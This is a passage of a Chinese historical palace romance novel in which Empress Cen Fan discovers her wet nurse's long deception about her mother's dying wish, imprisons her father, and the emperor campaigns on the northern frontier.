岑璠进殿时,听到一阵哭声,嬷嬷和周围伺候的宫女正在轻哄。 问过才知道,是满满临睡前打嗝,着急地哭了。哭嗝现在算是止住了,却怎么哄都哄不好。 岑璠伸出手,“让本宫抱吧。” 钱嬷嬷边哄边道:“小殿下不哭,咱们让娘娘抱…” 岑璠轻拍满满的后背,小姑娘嗅到她身上的味道,哭声小了些。 这让她不由想起才离开的男人。 那人虽是个皇帝,哄孩子熟练,手臂托起趴在上面的小姑娘,一会儿便哄好了。 她没那么大的力气,也托不起来孩子,只能慢慢去哄。 所幸最后小姑娘安安静静在她怀里睡了过去。 然而这一夜并不宁静。 钱嬷嬷刚把小姑娘抱回摇床,门外便有太监来报。 “不好了娘娘,浮华殿走水了!” 待小太监说完有一阵,岑璠才反应过来是怎么一回事。 这浮华殿,不是元斓居住的地方吗? 她站起身来,钱嬷嬷随她出去,见到进屋禀报的太监,连忙做了个噤声手势。 小太监想起,这殿内的小公主应是正在睡着,连忙闭上嘴。 岑璠问道:“可有人去灭火?” 小太监压低声音,道:“孟公公已经派人去了,只是具体怎么个事,尚未知晓。” 岑璠抿了抿唇,思忖片刻,又坐了回去。 “你们派人看好便是,本宫不去了。”她道。 小太监明白自家娘娘是不想多管,没再多说,行礼告退。 还没出殿门,便碰到刚从宫外回来的槿儿和紫芯。 槿儿回头看了看小太监道:“李公公这是怎么了?” 紫芯紧接着道:“是啊,方才从永巷回来,也是乱糟糟的,发生了什么事吗?” “是巷北的浮华宫走水了。”岑璠道。 槿儿和紫芯相顾而望,似是有些惊讶。 岑璠看了看她们,提醒道:“今日莫要再出门,若是谁同你们说了什么,先来向我通报。” 两人面色严肃,行礼告退。 只是不一会儿,槿儿又跑了回来,竟是比方才的李公公还慌张些。 岑璠正在洗手,芸蚕走上前去,问道:“槿儿姑娘这是怎么了” 槿儿同岑璠对视,有些手足无措,“是阿娘,阿娘不见了!” 岑璠皱起眉,“可有人知道乳娘去哪里了?” 槿儿摇头,“奴婢问过了,没有人见到阿娘去哪儿了…” “姑娘,你说会不会是” 岑璠眼中透着不安,那云澜就是个疯子,浮华宫偏在元衡不在的时候走水,便 是蹊跷。 乳娘在这个时候找不到人,也肯定不是巧合,说不准就是被浮华宫的人带走了。 她沉默片刻,拿起帕子净了手,站起身来,“我去看看。” 芸蚕从她身后拿了袄,岑璠胡乱披上,步子走得太急,跨过门槛时差点撞到谁的臂膀。 她低头看了看那只手臂,又看了看挡住她的墨群,停住了脚步。 自进宫后,她便很少再和墨群说话,即便是他日日守在含章殿前。 岑璠知道他是元衡的人,上下打量一番,问道:“墨侍卫为何要拦本宫?” 她露出一个讽刺的笑容,道:“莫不是这火是陛下让放的?” 墨群神色凝重,否认道:“不是。” 岑璠不想再同他在这里周旋,就要绕开他。 墨群挡住她,看了看她身后追出来的槿儿,拱手道:“属下有话,恳请与娘娘单独说。” 槿儿对墨群也有几分警惕,未动脚步。 岑璠同墨群对视,见他不肯再透露半分,才道:“槿儿先下去吧。” 墨群侧过身,余光看着槿儿走远,才行礼赔罪,“娘娘恕罪,苏媪现在浮华宫,方才是被属下扣下了。” 岑璠一时很是迷茫,“墨侍卫这是何意?” “苏媪去浮华宫,并非是谁带去的,而是自己找去的”墨群同她解释,看到了她眼底的怀疑,眉凝成一团,“娘娘恐怕还不知道苏媪是谁吧?” 岑璠不懂他在说什么。 她的乳娘,自她出生后便照顾她,见过父亲的背叛,陪他们在山上一待就是五年,亲自将母亲的遗体运了回来,之后又帮她躲过岑家的种种算计 乳娘便是乳娘,能是谁呢? 岑璠不解,目光一直盯着他,想从中看出一点欺骗和隐瞒,可渐渐地眼睛却先红了。 “你把话说清楚” “当年胡氏送进宫的女儿,本不是那位废后,那位废后曾和严家大公子严筠定过亲。只不过后来,胡氏想送进宫的女儿和情郎私奔,被追回来时摔断了腿。胡氏怕先帝知晓事情原委,怪罪整个胡氏,只能将胡氏最美的娘子送进宫。” “这位严公子在废后进宫后不到一年,便另娶了一位出身寒门的妻子,那位夫人便姓苏。” 墨群说这番话时,目光始终低垂,只在说完后看了岑璠一眼。 她意想不到地平静,紧紧抿住唇,却有一滴眼泪划过脸颊。 墨群知道,被身边的亲人欺骗定是痛彻心扉,可欺骗就是欺骗,总有被戳穿的一日。 被骗的越久,受伤只会越深。 墨群继续道:“严氏娶妻后很快便诞下一子,却并未与废后断了往来,胡氏发现后,怕严氏挡了废后的路,处处针对严氏,后来严氏家主外放,搬迁途中遭遇匪盗,举家惨死。” “那时严筠还在京城,他的妻室刚诞下一女,在宫中给刚出生的五公主当乳娘,受杨皇后庇护,可没多久杨皇后也被打入冷宫,严苏二人带着儿女出了京城,此后杳无音讯。” 岑璠静静听着,待他说完,淡然问道:“你这些话有证据吗?” 墨群如实答道:“这些大多是属下猜测,不过严氏在京中有许多旧友,那些人都说,当年严公子的妻室确实姓苏,也确实入宫给公主当过乳娘,若是在逃出京后带着槿儿去彭城,时间也对得上” 墨群还有许多话想说,可又不知该从何处说起… 他抿了唇,许久后伸出另一只手,“属下没有找到什么物证,这幅画是陛下临走前托属下交给娘娘的,其余的都在画里了” 岑璠缓缓伸出手来,接过他手中的画,不知是不是外头冷,鼻头竟都有些红。 她仔细看着那幅画,很快便发现了不同寻常,手握向画轴的一端。 墨群看过画中的字条,在她将要打开时,心底终究泛起不忍,喊住她道:“娘娘真的要看吗?” 岑璠紧紧握住那画轴,骨节泛白,可到底没有犹豫太久,将画轴的那端拔开。 泛黄的字条滚落到手心,门外一阵寒风吹过,岑璠的手心又冷了几分。 她手指微颤,展开那张字条。 字条上的字不多,没有说皇后,也没有说父亲… 阿娘说,她知道父亲邀她去洛阳,是想要珝儿这个男孩。 阿娘还说,带着珝儿去洛阳,是因为珝儿自幼心性浮躁,想给他一个更容易的出路。 而不带她去,是因为她自幼学了一身本事,即便是靠手中的笔,也可以自己活下去。做女儿家的在黄氏委曲求全,终究不如在彭城活的自在。 阿娘让她莫怪对她的严苛,这个世道普通人艰难,女子更艰难,她只能更严格要求她,让她比珝儿学得更多,这样将来她作为女子,靠自己照样能活的很好。 她还说,她知道此去洛阳凶多吉少… 岑璠读着读着,鼻头便是酸了。 原来她的母亲不是偏心,更不是珝儿口中的疯子。 阿娘没有嫌弃她,更没有抛下她。 她很爱她的孩子,比自己想象中的要爱很多… 岑璠眼睛通红,读到最后一句话时,手里的画掉到了地上。 那是母亲对她余生全部的希冀和祝愿。 “世道艰难,皇权难以颠覆,唯愿皎皎忘却仇恨,岁岁安康,平安无虞。” 第117章 第一百一十七章还在骗她 她的阿娘,说不想让她报仇… 为什么?怎么会是这样呢? 阿娘在生前最后的愿望,不是让她报仇吗? 岑璠实在想不通,她一直都在想着怎样帮阿娘报仇,甚至还为此怨过阿娘给她留下这个遗愿。 可这张字条上说,阿娘害怕她伤及自身,不想让她报仇,只想她一生平安。 她过去曾怜悯过元衡,怜悯他不知道为何而活。 可她呢? 她算计半生,手上沾了不止一个人的血,甚至把自己算进了宫里,都是为了报仇,报仇… 现在告诉她,一切都是误会。 她存在的意义并不是报仇。 字条上的字迹和她的有些相似,她的字是阿娘所教,这上面的字句都是阿娘亲笔所书。 只有阿娘所谓的那些遗愿,并不是阿娘亲口告诉她的,是乳娘转告给她的。 岑璠握着那张字条,手渐渐收紧,眼泪自眼眶夺出,从指缝间渗过。 陈旧的墨迹被晕染开,整张字条都花了。 许久之后,她才问道:“乳娘她现下在哪里?” 墨群道:“苏媪和公主的那位门客绥儒,现在还在浮华宫外,公主她有话要问。” 岑璠有些失神,眉轻轻蹙起,“公主的门客?” 墨群点了点头,“”羽林军找到二人时,乳娘正拿着一套太监的衣裳,想来是要帮那位门客出宫。” “听说当年的苏氏在生下女儿之前,还有一个孩子” 墨群想了想方才的场景,不由叹了口气。 那浮华宫内的五公主从火光中跌跌撞撞冲出来,头发乱糟糟的,拨开周围的羽林军,露出十足的惊诧,撕心裂肺地质问,想来也没有想过最亲信的门客竟是造出一场大火,想要背叛自己出逃。” 岑璠沉默了许久,才道:“你把她带过来,我有话要问她” 墨群应下,拱手告退。 岑璠在门口伫立了许久,新年虽至,寒冬未褪,冷风迎面而来,不过一会眼泪都吹冷了。 殿内的钱嬷嬷轻步走出来,见她在独自吹风,连忙将门关上,温声问道:“娘娘怎么了?” 岑璠抹去眼泪,仍然站在那里,道:“嬷嬷先把公主抱下去吧。” 钱嬷嬷怔愣一瞬,颔首应了声,将满满裹好,抱出殿外。 过了半柱香,墨群才将人带了过来。 殿门已经被岑璠关上,她坐在殿中的椅上。 那张椅上雕有龙首,本该是帝王所坐,她怀孕的时候元衡喜欢陪她去殿外走动,回来后总是将她扶到这张椅上,此后才没了谁坐这把椅子的说法。 岑璠闭目,直到乳 娘被带到面前也不曾睁开眼。 乳娘仰首看向她,自是能看出她在压着心中的怒火。 她跪地一拜,道:“姑娘明察,老奴不曾过想要背叛姑娘。” “老奴也是那日宫宴才发现,当年老奴的孩子没有死,而是入宫做了公主门客,老奴只是想要救他出来” 乳娘解释后,停顿片刻,只盼这个间隙,岑璠能态度缓和些。 只不过她还是未睁眼,神色凛然如冰。 乳娘愣住,她不知岑璠都知道了些什么,自然也不知接下来还该解释些什么。 岑璠深吸一口气,气息紊乱了些,声音似有些无力,自内而外透露出的是失望。 “乳娘我想听一些实话。” 乳娘哑然,嘴唇颤抖着,似是不知道该说些什么。 岑璠抿起唇,许久后才睁开眼,那双杏眸如同寒冰刺骨,点缀着点点猩红,如同攀在寒冰上的蔷薇,“我只想问问乳娘,当年母亲临终前到底说了什么?” 她像是在乞求,“你能不能告诉我” 乳娘眼神左右摇动,张口结舌,虽说了几个词,却不成一句话。 岑璠一拍扶手,乳娘便噤了声。 眼中的泪又蓄了起来,岑璠看向那张熟悉的面容,恍然间看到了那温和慈爱下的丑恶。 她直言道:“母亲当年的遗愿,根本不是让我报仇,对吗?” 乳娘万分惊讶,眼睛瞪得浑圆,“姑娘是如何知道” 墨群站在一旁,却没有什么耐心,道:“苏媪只需要回答是,或者不是。” 乳娘头微低,嘴角渐渐下压,声音微乎其微,“是。” 岑璠沉默了一瞬,站起身来,紧咬牙关,走到乳娘身前,又问道:“那阿娘她临终前到底说了什么?” 那华丽繁复的裙摆就在眼前,凌厉的目光审视着她的一举一动。 乳娘眼神躲闪,终究顶不住她的层层质问,声如蚊蝇,“夫人说,姑娘性子看似柔软,实则刚硬倔强,世道艰难,这般性子容易吃亏,让姑娘回到岑家,莫要寻仇…” 她说话的声音越来越小,岑璠却听的真切,她紧握着拳,喃喃道:“乳娘为何要这么做?” “为什么?…” 乳娘手足无措,慌忙解释,“奴婢当时是觉得夫人说的不对,杀母之仇不能不报,可姑娘又向来夫人的,所以奴婢才…” 岑璠打断她的话,“乳娘,事到如今您还要骗我吗?” “您明明可以告诉我是皇后杀了母亲,明明可以告诉我真相,我自有判断。” 为什么要让她误会阿娘这么多年?让她以为她的父母都厌恶她,抛弃她? 她一生都想帮阿娘完成她的愿望,可还是活成了让阿娘最失望的样子 为什么要这样残忍地骗她… 岑璠直视那张带着面具的面容,眼泪如同断了线的珠子往下掉。 终究还是亲手带大的姑娘,乳娘目光沉了下来,撇开头,小声承认道:“我其实是因为恨她…我恨皇后…” 岑璠仍不肯接受这样的说法,“乳娘恨皇后,为什么不告诉我呢?你告诉我,我不一定不会报仇” 乳娘猛地抬起头,眼泪掉了下来,嘴唇颤抖,“姑娘你不知道啊,我不允许我真的错不起,我什么都没有,只有靠你我才能报仇了啊” 她喊得撕心裂,随后低声啜泣起来,话说的断断续续,“我真的恨她,姑娘不知道,当年我家男人娶我过门,没过多久便入宫当了乐师,一走便几个月不入家门,就连奴婢生产时也不曾看过一眼…” “后来奴婢生下槿儿,入宫做乳娘,本想着这样能同他多见几面,谁知竟、竟发现他和胡氏媾合。” 说到此处,乳娘捂住脸放声大哭,干瘦褶皱的手指都跟着颤抖,“严氏出事后,我家男人怕自己出事,便只想抛下我和槿儿,带着儿子走” 那时她才出月子不久,赖在他的车上好说歹说,才求得他带她们母女一起走。 谁知道出了洛阳,严筠竟是趁她和槿儿睡着时带儿子走了。 她本想回去投奔母族,苏氏一族却也受杨氏谋逆一案,阖族抄斩。她的父亲寒门出身,不过一介八品文官,如何能参与杨氏谋逆?分明是胡氏记恨,要置她的母族于死地。 严筠只给她留了一贯钱,她无依无靠,在街上抱着槿儿大哭,幸好遇到当时来京城走货的岑老爷。 岑家的老爷是个好人,见她可怜又带着女儿,想起自家女儿即将临盆,还缺个乳娘,便将她带了回去。 她一直很感激岑家,将岑氏的姑娘当亲孩子养,虞佑柏背叛了岑氏,她也无怨无悔跟着岑氏上山,后来再去洛阳,她才再次见到了自己的儿子。 她的儿子说,严筠抛弃她后便离开了洛阳,靠字画做些营生买卖,没过几年便病死了。而她的儿子在外流浪了两年,后来公主来找严氏活着的人,将他带到了宫中。 她也是在见到儿子后,才看到了报仇的希望,萌生了报仇的念头。 她从来都没有想过要背叛岑家! 想到此处,乳娘双膝又往前挪了几步,抓住岑璠的裙摆道:“姑娘,奴婢真的没有想过要背叛你!从来都没有” “奴婢只是想报仇,报仇后便想让绥儒离开来着,谁知公主她竟是不肯放人,还要奴婢的儿子同她一起被关在宫里,奴婢也是实在没有办法” 岑璠不想听她解释这些,她只想最后知道一个问题,“当初我被公主下药,这件事和乳娘有关系吗?” “这”乳娘眼神闪烁,缄口不言。 岑璠已经知道了答案。 从她来到洛阳开始,便掉进了许多人的算计,不仅仅是她的父亲,还有她身边最亲近的乳娘。 她当初嫁给元衡根本不是巧合,而是一场很早便开始的算计。 或许这场算计可以推演到更早之前,早在母亲死后没多久,乳娘便开始编织起一张大网,帮她想好该找谁报仇,该怎么报仇… 阿湄曾经说过,她给她寄过很多封信,她都不曾收到,现在想来,最有可能藏起那些信的不是岑家人,而是乳娘 自始至终,她都是别人手中的提线木偶,她的命运很早之前就被安排好了,被别人指使,替别人报仇。 若不是元衡将那枚玉佩还给阿湄,她可能与阿湄一辈子就那么错过了。 至于错过后会发生什么,岑璠只一想,身上便泛起一股寒凉。 她抱紧双臂,唇色霎然间变得苍白,眉头紧紧拧起,胸口闷疼,一时喘不上气。 渐渐地眼前的事物似乎都变的模糊,她踉跄了两步,便再也站不稳脚,向前栽去。 第118章 第一百一十八章下狱 再醒时,又是崭新的一天。 可对于岑璠来说,一切都恍若隔世,前半生的人和事似乎都变得很陌生。 身上的衣裳已经被换下,她起身静静一个人坐了一会儿。 帐外芸蚕的声音响起,“娘娘可要起身?” 往常这个时候 ,来叫醒她的该是槿儿,槿儿和她一般大,陪着她长大,比那些所谓的亲人还像亲人,她不会叫她娘娘,总是跟在她身后姑娘,姑娘的叫 酸胀的眼睛又蓄起了泪水,岑璠迅速抹去那滴将要落下的泪,问道:“槿儿呢?” 帐外的身影似是僵了一瞬,而后跪地道:“槿儿姑娘和苏媪在一起,墨侍卫和紫芯姑娘都在看着。” “娘娘放心,她们二人都无事。” 岑璠沉默了一瞬,只一声“你起来吧。” 芸蚕依言起身,只见一只玉白的手撇开了帐幔,眼睛肿的如同核桃,唇色比昨日还白上几分。 她大惊失色,话音吞吞吐吐,“奴婢去请太医。” 岑璠道:“不必去请太医了。” “我无事。” 芸蚕看了看她的脸色,浮现出愁云惨雾,“娘娘不若还是让太医看看吧,别气坏了身子。” “太医看了,也还是那些说辞。”岑璠站起身,分明还晃了两下,芸蚕便是又要伸手来扶她。 岑璠握住她的手腕,显然是拒绝。 她笑了笑,柔声道:“你替我梳妆,再让墨侍卫带些人去虞家,将他们都带进宫吧。” 芸蚕惊愕,岑璠抿唇,冲她点了点头,“梳妆吧。” 芸蚕颔首,叫了梳妆的婢女进来,一层雍容华贵的妆容遮盖住了脆弱疲惫。 自那日起,虞家便被皇宫禁军看管了起来,洛阳中不是没人听说此事,只是没了胡氏这棵大树,无人想管虞家的事。 岑璠梳好妆没多久,虞家的人便被带进了宫,除了虞佑柏和黄氏之外,还有她那弟弟妹妹。 公主满月时黄氏未曾受到邀请,她这辈子没有进过宫,不曾想第一次进宫会是这般。 那幅画像被展开,铺在画架上,还是岑璠母亲的画像。 画像上的人慈眉善目,被岑璠摆在他们面前,像是自上而下俯视他们一般,让黄氏感觉到不自在。 岑璠扫了一眼台下的人,却是并未问那幅画上的事,“父亲当年抛妻弃子,多年之后再见母亲,可有什么想对她说的?” 虞佑柏不曾想她忽然问这个,嘴唇张开却是什么也说不出来。 看来是没什么想说的,无论是愧疚,还是想念,都不曾有过,否则不会连一句话都编不出来。 岑璠低下头,淡淡地笑了。 一旁的小太监上前,朗声诵读起手中那道懿旨,“虞氏胆大妄为,与胡氏私通,秽乱宫闱,即刻起收押诏狱,听候问审。” 虞佑柏眼睛瞪得浑圆,几日未曾打理过的胡须都在发颤。 先前他只以为岑璠是在吓他,他的确不知道那幅画是什么,只要照实说便是问心无愧,她一个皇后,再怎么也不该真拿他这个生父怎么样,这样对她的名誉有损。 谁知道过了几日,她竟是丝毫不在意那幅画,问了他个毫无意义的问题,便要将他下大狱。 虞佑柏摇头,抬头道:“下诏狱需要圣旨,皇后娘娘怎可私自下诏” 墨群在一旁冷声道:“陛下走时有诏,皇后娘娘所说便是圣旨。” 岑璠坐在那张椅上,未曾反驳一二,虞佑柏看着她坐的位置,恍然间明白了什么,颓然跪于地。 所有人都在等着岑璠发话。 岑璠却不想再说什么,她闭上眼睛,道:“把他带下去吧,本宫不想再同他说话。” 虞佑柏脸色顿时煞白,被拉下去时慌不择路,情急大喊,“我是你的父亲!你怎么能这么对你的父亲!你这是不孝忤逆!” 声音越来越远,至于后面虞佑柏叫喊的是什么,岑璠便听不真切了。 黄氏和一双儿女脸色煞白,似是还没有回味出那道圣旨的意思。 岑璠自认为没有什么再好说的,她一扫余下几人,自胸中抒出一口气,让墨群带他们回虞家。 黄氏呆若木鸡,没有听到一般,几个侍卫见状上前,将她扶起来。 黄氏挣开桎梏,突然喊道:“娘娘为何要这般诬告老爷!我们家都成什么样了!娘娘当真一点亲情都不念吗?” 珝儿和黄珍身子一抖,面露惧色,抱作一团。 岑璠闻言走上前,道:“本宫是否诬告,想必夫人也清楚,他虞佑柏能弃糟糠之妻于不顾,为何不能故技重施,弃你向皇后投怀送抱?” 黄氏停住,久久不能言语。 周围的侍卫将黄氏扶起来,视线平齐,彼此相望,“本宫今日未将你们一并下狱,不过是看在你也是遭人蒙骗,我母亲之所以会落得那样的结果,也有你的一份。” 她抿起唇,目光中的杀气就快抑制不住。 珝儿抱住她的腿,道:“阿姊,你放了阿娘吧” 岑璠低眸撇了一眼,这般模样,倒像是她无缘无故欺负他们孤儿寡母一样。 她纹丝不动,压制住胸中怒火,“夫人其实很早之前便知道他是什么样的人,不是吗?” “夫人不过是心存侥幸,觉得他跟了你便能变好,直到方才为止都还抱有希望,所以才会对本宫说那些,其实不过是自欺欺人罢了。” “别做梦了。” 黄氏几乎站不稳,脸色愈发苍白,岑璠撇开眼,低下头去,静静看着爬匍在脚边的少年,“你起来罢,我不会放过他,从今日起,虞氏门庭不在,以后便要靠你自己了。” 母亲留给他们的字条已经被揉皱的不成样子,岑璠从袖中掏出纸团,扔在珝儿面前。 字条在地上滚了几圈,停在珝儿眼前。 “这是她留下的字条,她是为了你去的洛阳,被父亲所害,她没有抛下你,也没有抛下我。” “至于想不想看,由你。” 说罢,岑璠扯开裙摆,她告诫自己不该再去看,可到了最后关头还是没忍住,余光向少年看去。 少年似是打开了那张字条。 岑璠转过身去,双拳紧握,唇瓣间渗出些血腥味,由芸蚕搀扶着进了内殿。 没过多久,大殿内忽地传来一声大哭。 墨群回头望向那道屏风,屏风后似有光影晃动,只是始终无人再应答。 墨群叹了口气,心中直道:早知今日,何必当初。 他看了看那一家人,语气倒也比来时和气了些,“把这些人送回虞家吧,别让娘娘再费心。” * 平城以外,六镇之内,冰封千里,帐被吹得呼哧作响,号角雄浑嘹亮。 那是胜利的号角声。 这几日怀荒终于打了胜仗。 那些蠕蠕人往年喜欢在冬日来犯,一来是因为六镇冬日的粮草不足,二来是因为怀柔严寒,那些蠕蠕只有向南侵略,才有可能获得更多生存领地。 今年北地格外寒冷,而怀荒实行均田后粮草充足,蠕蠕不知道从哪里得了消息,对此有所忌惮,直到年前都不曾来犯。 到了年后,那些蠕蠕不知为何,忽然大举向南进攻,像是血性一次彻底被激发出来一样,凶狠残暴。 这一年赤城的军户稳定了下来,将损毁多年的长城修筑了起来,与六镇的长城连成一线,柔然若想强攻其实并不易。 即便如此,军镇还是严守以待,怀荒的兵力如以往向赤城靠拢支援。 谁知这些野蛮蠕蠕竟是学会了声东击西这招,与柔玄的内应里应外合,长驱直入六镇腹地,向怀荒攻去。 六镇各地都有大族盘踞,可柔玄、抚冥、武川是谁掌权元衡看得清的。 他来军镇本就是因为此事。 元斓要借机除掉驸马,他不可能做实此事,只能先下手为强,保住萧昀。 只是这样一来,军镇必有动作。 现在看来,这些人是要伙同蠕蠕人一起破釜沉舟。 皇帝亲自来了军镇,怀荒军民士气大涨,连连败退几日后,终于迎来了第一场胜仗。 元衡却觉得,这不是长久之计。 他在军镇很多年,遇到过很多难打的仗,也有过性命攸关的时候。 可却从来没有遇到过军镇大开门户,迎蠕蠕进军镇的时候。 军镇背依城墙,是以这么多年柔然倾尽兵力也无法攻破,可若是在城墙上撕了道口子,就如同在沙袋上戳了窟窿。 元衡提起笔,正在书一封信。 宫里的消息也在这时入了帐中。 元衡拆开那封信,并未让那送信的信使退下。 那封信是他的皇后亲笔所书,字形端方,行文一板一眼,说的是虞家的事。 虞佑柏已经被下诏狱,她怕夜长梦多,却又不敢自己下令,来问他要一道圣旨。 元衡提起笔,另起一张纸,一道盖了印的旨意很快便被拟好。 “你回去同皇后说,她说的事朕都允了。” 信使心里觉得这句话带的实在多余,却不敢同皇帝说,颔首应下。 正要告退时,元衡却叫住了他,“皇后她如何,可还同你说了些什么?” 她好不容易带封信过来,既没有一个字提起他,也没有一个字提起他们的满满 信使犹豫片刻,道:“回禀陛下,皇后娘娘只说让我把这封信交给您” 信使紧接着又说:“许是 皇后娘娘这些日忧思过度。” 元衡又看了看那封信,她写的这封信一点温度都没有,沾染了外面的寒气,冷冰冰的。 他轻轻抚摸信纸,问道:“皇后这些时日身子如何?” “身子无大碍,只是听含章殿的紫芯姑娘说,娘娘这些日睡得不安稳,白日精神头也不好。” 元衡听后心里泛起一阵心疼,他知道被身边的人背叛是什么滋味。 如果顺利,这场恶战很快便会结束,他们一家三口便可以团圆了吧。 介时他定要带着满满多陪她。 元衡低头隐去上浮的嘴角,信使一时间都觉得是自己花了眼,看错了。 他迅速又提起笔,写了一封平常的家书,交给信使。 “你同皇后说,让她照顾好自己,朕就快回去了。” 第119章 第一百一十九章虞大人有何脸面认说是…… 岑璠拿到那封诏令后,才去看了那牢狱中的父亲。 虞佑柏的牢房在诏狱的最深处,仅有一扇小窗,在冬日也透不过什么阳光,已经过去十日,没有日光照晒,他的脸色苍白,胡子也长了许多,不曾打理,算得上是潦草凌乱。 牢狱阴冷无光,就算再风华月貌的人物也遭不住搓磨。 见到岑璠,虞佑柏立马扑了过去。 岑璠看了他一眼,虞佑柏嘴角抽搐,竟是同她客气地笑了笑。 岑璠坐在狱卒提前搬来的椅子上,“你可是还打算出去?” 虞佑柏听到后,眼睛一亮,一手扶住牢门,另一只手伸出来,问道:“胡氏她都同你说了什么,你告诉为父,此人阴险狡猾,定是她在挑拨你我之间的关系” 岑璠听后低声笑了,她道:“父亲定是不知,母亲生前还留了一封遗书。” 虞佑柏笑容僵住,问道:“她都说了什么。” 岑璠未与他说,不屑轻讽,“不论她说了什么,如今都轮不到你来问。” 她眼神愈发锐利,眼中像要迸出血一样,虞佑柏敏锐地嗅察到了什么,他抓紧面前的牢笼道:“你说出来,别闷在心里,说不定都是误会而已。” 岑璠道:“误会倒是没有,父亲是什么样的人,女儿一直看得明白。” “其实母亲也看得明白。” 虞佑柏整个人都呆住,岑璠就这么毫不避讳地盯着他,牙越咬越紧。 “阿娘那般好,你竟是想让她死!” 她声嘶力竭地说,像是快要干涸的河水拼命地流淌,而后被抽去所有的精力。 周围的人,不论是墨群还是跟随而来的太监,皆跪地不起。 墨群道:“娘娘息怒。” 岑璠又坐了回去,她心里已经告诫过自己无数次,因此人动怒不值得。 可她真的见到他这般,将她阿娘的死看得无足轻重,轻描淡写,还是忍不住想多骂几句。 岑璠缓缓点头,很久才抑制住冲动,抿出个微笑,“我不会放了你。” 虞佑柏听的不甚清晰,“你说什么?” 岑璠深吸一口气,道:“父亲的去处我已经想好了,您相貌好,文采斐然,女人最是喜欢,大魏民风开放,不乏有中年有闲钱的妇人喜欢这个岁数的男人,虞氏不在了,我送父亲去那种地方,父亲也能再多交几个富户的夫人,说不定改日还能东山再起。” 这番话岑璠想了许久,真的下决心要这么做时,平静地毫无波澜。 虞佑柏却是不敢相信自己听到了什么,他面色惊恐,脸上像是撕开一道裂痕,伴随一道地动山摇的嘶喊,“去哪儿?我是你的父亲,你打算把我送去哪儿!” 岑璠看到他这般无能狂怒,反倒是笑了,“还能去哪儿?” “父亲放心,世间需求形形色色,这样的地方虽少,大魏境内还是有几处的。” 虞佑柏摇头,五官抽搐,那张斯文的面孔竟变得有些狰狞,“你不可这样对我,你不可…” 岑璠将手中的圣旨扯开,让他看清楚,“圣旨如此,有何不可。” “女儿也是在帮父亲,父亲长袖善舞,最擅长的便是讨富贵人家的女儿欢心,借妇道人家的软心肠节节高升,先是攀上阿娘这个商户女,再是世家女黄氏,就连皇后都受父亲牵制一二。” “父亲虽然老,风韵犹存,所以女儿想若是父亲重来一遭,也定能将这条路走的非同寻常。” 她徐徐而谈,字字句句灌入耳中,足以使人失张失智。 虞佑柏绷紧嘴唇,像是从牙缝中迸出嘶吼,“我是你父亲!!!” “住口。”岑璠蓦地阻断他的话,再抬起眼时,收起了伪装的和善,“我是阿娘辛苦十月怀胎生下的,与你何曾有关?四岁前你和外祖父四处为生意奔走,是母亲在家陪我,此后十几年,你抛妻弃子,对我母女二人不闻不问,是母亲和乳娘将我养大,养恩重还是生恩重,你心里难道不曾掂量?你口口声声说是我父亲,敢问这二十年,你可曾尽过为人夫,为人父的责任?” “本宫不过是把你过去对母亲做的,想对本宫做的事原分不动还给你罢了!虞大人有何脸面认说是本宫的父亲?” 她层层逼问,字字珠玑,虞佑柏终于是明白了,她将他恨入骨髓,早已不把他看作血亲,更不在乎名声。 他膝下一软,终于跪了下去,那双和岑璠极似的眼中露出乞求,红的像充了血,“皎皎,为父知道错了,为父真的知道错了…” “我过去是利欲熏心,是我对不起你和你母亲,是我该死,好孩子,你放我一马…” 她的父亲向她道歉了。 这句道歉,她和母亲等了整整十六年。 看到她那父亲终于肯放下多年的伪装,岑璠心底有过一瞬的畅快,可转而便被沉痛的悲哀所掩埋。 她的母亲已经死了,现在这声道歉,该听的人听不到了,又有什么用呢? 岑璠抿住唇,低下头的那一刹,身上 的凤袍上浸上了一滴泪水。 就这样吧,这样的道歉多半是虚伪,为了活命罢了,听不到也罢。 她缓缓站起身,转过身去。 牢中传来一声冲天呐喊,“岑璠,你作践我,你作践你的父亲,你和皇帝杀父灭亲,罔顾伦常,就不怕遭报应!” 岑璠回过身,那双冷漠的眼眸落在虞佑柏的身上,透着悲哀,还有鄙夷,嘴角噙有一抹笑。 那双眼睛自上而下打量,很快便收回,没有一丝波澜惊起,抬起步子时再无留念。 “你如此狠毒,珝儿也不会认你!我就眼睁睁看着,看着你众叛亲离,不得好死” 一句句恶语诅咒自牢房深处回荡,传入耳中,而后渐渐远去,再也听不到了。 牢狱外的天尚且是亮堂的,阴冷湿气被日光很快晒干,却不觉得有多暖和。 虞佑柏似乎说的不错,想必在这之后,珝儿不会认她。 连她视作至亲的乳娘也背叛了她 许多故人都在离她远去,往后不复相见。 一阵寒风而过,岑璠打了个寒战,不由自主抱起双臂。 她忽然自己像只缩头乌龟,一直躲在宫中,就不会想起去到宫外,便是孑然一身。 这样一直下去似乎也不错,可代价呢? 岁月如流,将来还会有多少人记得她是岑璠呢… 她似乎有些看不清前面的路了。 * 军镇战事焦灼,怀荒紧守阵地,皇帝御驾亲征,军民士气大涨,未有半分退让。 蠕蠕这几日暂缓攻势,元衡却知道,这些人是在等柔然的援兵。 大魏境内也在四处调兵,只是这场仗长久打下去必耗国本,他等不起,也耗不起。 他也向怀朔借兵,只是这些时日并无人回信,那信很可能并不是被截断,而是根本无人回。 这几日,元衡离开了怀荒,只带了一队人马,轻装而行,穿越武川荒漠,行了十日,终至怀朔。 及至城门前,元衡身边的谋士宋云拦住了他,“主上,真的要进去吗?” 怀朔高氏的态度实在模棱两可,若是和杨氏串通一气,此举无异自投罗网。 元衡来时,杨知聿也这么劝过他,可他上一世见过军镇乱后是什么结果,他绝对不允许军镇再这样战乱不止。 他来时已经留过遗诏,若是他身故,三日内未有其他消息再传去,便即刻弃赤城,保住怀荒,扶六皇子上位,由杨知聿摄政,岑璠为太后,绝不能让皇位落于军镇贼子之手。 “朕若不亲自来,高氏不会出兵。”元衡看了看周围,道:“若是高氏不想让朕来,如今你我到不了此处。” 宋云仔细想了想,他们入怀朔境内,听闻怀朔亦受波及,边境遭蠕蠕侵犯,此时城内必然戒备森严,若非高氏默许,他们这些自外镇而来的人确实当连城门都到不了。 元衡就这么站在门外,未遣人上前通报,紧闭的城门外也未有人上前询问。 不过一会儿,厚重的城门自己打开了。 高氏家主高寿带了人城门外夹道相迎。 元衡一扫门外的人,来的人只有三个,却都看着面熟,是怀朔内的高官勋贵。 高寿拱手,跪地一拜,“陛下来怀朔,昨日臣方才听守卫说起,猜想陛下此番秘密前来,定是不愿声张,这才未曾远迎,望陛下赎罪。” 元衡下马,道:“高大人思虑周全,何罪之有,快请起。” 高寿闻言才起身,将人请进城去。 